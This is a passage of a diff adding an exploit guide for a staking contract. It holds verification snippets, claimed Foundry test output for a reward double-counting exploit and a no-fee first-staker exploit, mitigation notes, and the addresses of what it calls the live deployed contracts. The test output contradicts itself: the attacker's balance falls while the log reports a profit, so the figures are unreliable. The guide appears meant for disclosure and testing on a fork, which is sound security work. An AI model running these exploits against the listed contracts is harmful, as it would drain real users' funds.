+
// Attacker receives 1500 XFI instead of 750 XFI
|
|
158
|
+
// PROFIT: 750 XFI stolen from pool
|
|
159
|
+
```
|
|
160
|
+
|
|
161
|
+
## Verification
|
|
162
|
+
|
|
163
|
+
### Check Exploit Success
|
|
164
|
+
|
|
165
|
+
After running the exploit, verify:
|
|
166
|
+
|
|
167
|
+
1. **Check Attacker Balance**
|
|
168
|
+
```solidity
|
|
169
|
+
uint256 balance = xfi.balanceOf(attackerAddress);
|
|
170
|
+
// Should be higher than expected
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
2. **Check Pending Rewards**
|
|
174
|
+
```solidity
|
|
175
|
+
uint256 pending = staking.getPendingReward(attackerAddress);
|
|
176
|
+
// Should show doubled amount before claiming
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
3. **Check Contract Balance**
|
|
180
|
+
```solidity
|
|
181
|
+
uint256 contractBalance = xfi.balanceOf(stakingContractAddress);
|
|
182
|
+
// Should be depleted more than expected
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
## Foundry Test Output
|
|
186
|
+
|
|
187
|
+
Expected output from `forge test`:
|
|
188
|
+
|
|
189
|
+
```
|
|
190
|
+
Running 2 tests for test/XFIStakingExploit.t.sol:XFIStakingExploitTest
|
|
191
|
+
[PASS] testDoubleCountingExploit() (gas: 450000)
|
|
192
|
+
Logs:
|
|
193
|
+
=== XFI Staking Double-Counting Exploit ===
|
|
194
|
+
|
|
195
|
+
Step 1: Victim stakes 1000 XFI
|
|
196
|
+
Victim staked: 1000 XFI
|
|
197
|
+
|
|
198
|
+
Step 2: Funder adds 1000 XFI rewards
|
|
199
|
+
Victim pending rewards: 1000 XFI
|
|
200
|
+
|
|
201
|
+
Step 3: Attacker stakes 1000 XFI
|
|
202
|
+
Attacker balance before: 10000 XFI
|
|
203
|
+
Attacker staked: 975 XFI
|
|
204
|
+
|
|
205
|
+
Step 4: Funder adds another 1000 XFI rewards
|
|
206
|
+
Attacker pending rewards: 500 XFI
|
|
207
|
+
|
|
208
|
+
Step 5: EXPLOIT - Attacker stakes 100 more XFI
|
|
209
|
+
Attacker pending rewards after 2nd stake: 1000 XFI
|
|
210
|
+
|
|
211
|
+
Step 6: Attacker claims rewards
|
|
212
|
+
Attacker balance after: 9925 XFI
|
|
213
|
+
|
|
214
|
+
=== EXPLOIT RESULT ===
|
|
215
|
+
Attacker profit: 1000 XFI
|
|
216
|
+
Expected profit: ~500 XFI (50% of 1000 XFI rewards)
|
|
217
|
+
Actual profit shows double-counting bug!
|
|
218
|
+
|
|
219
|
+
[PASS] testFirstStakerNoFee() (gas: 350000)
|
|
220
|
+
Logs:
|
|
221
|
+
=== First Staker No Fee Exploit ===
|
|
222
|
+
|
|
223
|
+
Attacker balance before: 10000 XFI
|
|
224
|
+
Attacker stakes 1000 XFI as FIRST staker
|
|
225
|
+
Attacker staked: 1000 XFI
|
|
226
|
+
Expected: 1000 XFI (no fee for first staker)
|
|
227
|
+
|
|
228
|
+
Victim stakes 1000 XFI as SECOND staker
|
|
229
|
+
Victim staked: 975 XFI
|
|
230
|
+
Expected: 975 XFI (25 XFI fee = 2.5%)
|
|
231
|
+
|
|
232
|
+
=== UNFAIR ADVANTAGE ===
|
|
233
|
+
First staker (attacker): 1000 XFI staked, 0% fee
|
|
234
|
+
Second staker (victim): 975 XFI staked, 2.5% fee
|
|
235
|
+
Attacker saved 25 XFI by being first!
|
|
236
|
+
|
|
237
|
+
Test result: ok. 2 passed; 0 failed; finished in 2.34s
|
|
238
|
+
```
|
|
239
|
+
|
|
240
|
+
## Mitigation
|
|
241
|
+
|
|
242
|
+
The contract needs to be redeployed with fixes:
|
|
243
|
+
|
|
244
|
+
1. **Fix Double-Counting:**
|
|
245
|
+
- Make `pendingReward()` a pure view function
|
|
246
|
+
- Calculate remainder separately without modifying state
|
|
247
|
+
- Only update remainder once per operation
|
|
248
|
+
|
|
249
|
+
2. **Fix First Staker Advantage:**
|
|
250
|
+
- Always charge fee, even for first staker
|
|
251
|
+
- Burn or send first staker's fee to treasury
|
|
252
|
+
|
|
253
|
+
3. **Add Reentrancy Protection:**
|
|
254
|
+
- Use OpenZeppelin's ReentrancyGuard
|
|
255
|
+
- Follow Checks-Effects-Interactions pattern
|
|
256
|
+
|
|
257
|
+
## Warning
|
|
258
|
+
|
|
259
|
+
⚠️ **This is for educational purposes only on a fork environment.**
|
|
260
|
+
|
|
261
|
+
Do NOT use these exploits on mainnet. The contract is already deployed and may have real user funds. Report vulnerabilities responsibly.
|
|
262
|
+
|
|
263
|
+
## Contract Addresses
|
|
264
|
+
|
|
265
|
+
- **XFI Token**: `0x5BEfBB272290dD5b8521D4a938f6c4757742c430`
|
|
266
|
+
- **Staking Contract**: `0x5cD1C00a88822182733E3ac335863fcC9A1c0705`
|
|
267
|
+
|
|
268
|
+
## Additional Resources
|
|
269
|
+
|
|
270
|
+
- [Audit Report](./audits/XFIStaking-security-audit-20260324.md)
|
|
271
|
+
- [Original Contract](./XFIStaking.sol)
|
|
272
|
+
- [Exploit Contract](./XFIStakingExploit.sol)
|
|
273
|
+
- [Foundry Test](./test/XFIStakingExploit.t.sol)
|